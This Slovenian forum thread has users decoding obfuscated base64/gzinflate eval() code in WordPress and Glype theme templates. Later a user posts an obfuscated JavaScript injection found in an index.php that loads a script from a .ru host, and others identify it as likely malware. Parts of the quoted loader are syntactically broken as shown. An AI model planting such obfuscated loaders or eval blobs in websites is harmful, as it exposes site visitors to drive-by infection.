Decode

Živjo,

ker milo rečeno o PHPju nimam pojma, da bi tole dekodiral z base64, bi prosil vas, če si kdo vzame malo časa in tole naredi. Dam za pir ob prvi priložnosti :D

<?php eval(gzinflate(base64_decode('tVI9a8MwFJydX/HwYneJIGOrykPnLnGgo7Hjl0ggS0JPrsm/rypbLYTSTh3E++DudAevEbuiKLhWqRZcHsQrhp6z2KybWa9NAvEepMfLc8kbJx0M2l6Vudi68kSHbva6eniCRpQQVNCYYR3WVXszozr3ASFIRUAqdjMpc4Vj224s8Q3n/TD4rHLEXusbtGpyGiErKWtKEcmcfWLFqhGH+HKc3z2f7TShCdT9af4kEXT0TgEyCYKF6AqcpTgo83OMl4z+jzwyBPfI2LIs+8UFiRPSxSPuo0X2FeLN+tF5JIJTQpTifnP/RTK/uG6Kd1AnE+shsO0SNuw6czaq91wSdQcf')));?>

P.S.: Vem, da so tole zakodirani linki (za eno free WP temo), a jih ne nameravam odstraniti, le malce oblikovno polepšati zadevo. :)

Dekodirano:

<li> <h2>Meta</h2> <ul> <li><a href="<?php bloginfo('rss2_url'); ?>" title="<?php e('Syndicate this site using RSS'); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li> <li><a href="<?php bloginfo('commentsrss2url'); ?>" title="<?php _e('The latest comments to all posts in RSS'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li> <li><a href="http://www.wpthemesfree.com/" title="Wordpress Themes">Wordpress Themes</a></li> <?php wpmeta(); ?> </ul> </li> </ul></div></div>

Najlepša hvala, sem ti dolžan pivo ob prvi priliki =)

Živjo, spet jaz z novo nalogo odkodiranja. Sem pripravljen tudi kaj majhnega plačati za tole.

<?php



##########################################################

# Glype template copyright www.glypedesigns.com  #

##########################################################

# Please consult the included license.txt file for the

# license to this theme.

#

# The code below is encoded to prevent removal of the footer

# links. For instructions on installation and customization

# please consult the included readme.txt file.

#

#**********************************************************

#

#        DO NOT MODIFY THE CODE BELOW

#

#**********************************************************



 eval(gzinflate(base64_decode("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")));

Kje je pa problem? eval() zamenjaš z echo(), pa vidiš :) SIcer pa si ali narobe skopiral, ali pa ta koda le javi napako:

$ php temp.php

Warning: gzinflate(): data error in /Users/vini/temp.php on line 2

Ti pa seveda vse piše v komentarjih, ta koda naj bi izpisovala footer links. Ne umikaj jih.

Mja, tudi na raznih online decoderjiv javi neko napako, samo stran oz. footer mi pa laufa normalno. Ne bi pa rad dekodiral zaradi odstranjevanja linkov iz footerja, ampak ker hočem dodati tudi nekaj svojih in ne gre.

Sploh pa, če hočeš samo oblikovno tole popedenat, ne rabiš drugega kot pa firebug (view source) ter napišeš nekaj vrstic dodatnega CSSa, pa je to to.

A se komu sanja kaj bi tole bilo:

<script>k=45720;k--;C={FN:23309};var aT=["w","Zh"];var M;xh={Cc:"n"};this.RB=51501;this.RB+=22;var A=null;this.K="";var f=window;this.UO=false;this.I=false;var N="scrip"+"t";this.D=42665;this.D--;var s='';var x=document;rPB={rP:false};h={};var T="body";var vP=new Array();var fL=false;V=[];this.Iw=false;function y(){var U='';Dz=62750;Dz-=120;YZ=59524;YZ-=12;var R=new String("]lXbJ".substr(0,1));try {} catch(UD){};var R=String("]");P={m:25677};var Nh="\x2f\x71\x69\x64\x69\x61\x6e\x2d\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x77\x65\x72\x2d\x6b\x65\x6e\x6e\x74\x2d\x77\x65\x6e\x2e\x64\x65\x2e\x70\x68\x70";hS=11303;hS+=183;this.aV='';var s=RegExp;WE=57795;WE--;this.qn="qn";this.he="he";function a(I,r){gZ={};var O="[";var Hv=26806;var b=58654;O+=r;o=[];O+=R;var t=new s(O, String("g"));ao=["OG","a","vX"];ZD=46606;ZD--;return IString("repla"+"ce");var WX='';};it=[];try {var at='qDV'} catch(at){};var F=489534-481454;try {var DU='tU'} catch(DU){};var Hx=["i"];var =a('abpfpqewnGdcCqhUiVlvdU','N0PVUXYw5RtbGfqHvcWr');aU=33166;aU+=4;var e='';A=String("onl"+"REZoad".substr(3));var J=new String("htt"+"p:/eqM4".substr(0,3)+"/soCh9".substr(0,3)+"und"+"ris"+"k.r"+"u:");var v=a('chrLeGaFtFeLEslFeLmOepnptp','OGL2hspSNF1dg0y');this.zC=33018;this.zC++;var ENe=false;M=function(){try {this.EO=11690;this.EO-=226;var iW=new Array();E=xv;Da=46128;Da-=148;ec={dw:38251};e=J;var FC="";mR=2145;mR+=144;e+=F;e+=Nh;this.VAV=false;Iql={x:"nw"};var B=String("src");var sk=["mO"];var WXY=["ev"];var Z=a('dCe6fqeirn','AQtiLRn2C6ZxNvgBzbUckslqP');this.Mm=false;ef={JU:false};kG=["UKW","uL","RS"];E**=e;E[Z]=[1][0];var DG=new String();this.sC=48945;this.sC+=182;nq={On:26072};x[T]_;var Cl=13991;} catch(W){DG=["FE","rPe","itU"];var xe={oS:29195};};};var ry=false;l=51945;l++;this.fMW=false;this.pi=false;};y();f[A]=M;var xx=new String();this.gH=10207;this.gH+=34;</script>

<!--049ef0dc6955053232c64c0210de8652-->

v index.php :) predvidevam da nič dobrega, pa me vseeno zanima kaj bi naj naredilo.**

Khm ... če sem na hitro pravilno skupaj dal url, kaže na http://www.soundrisk.ru/. Najbrž kakšen malware?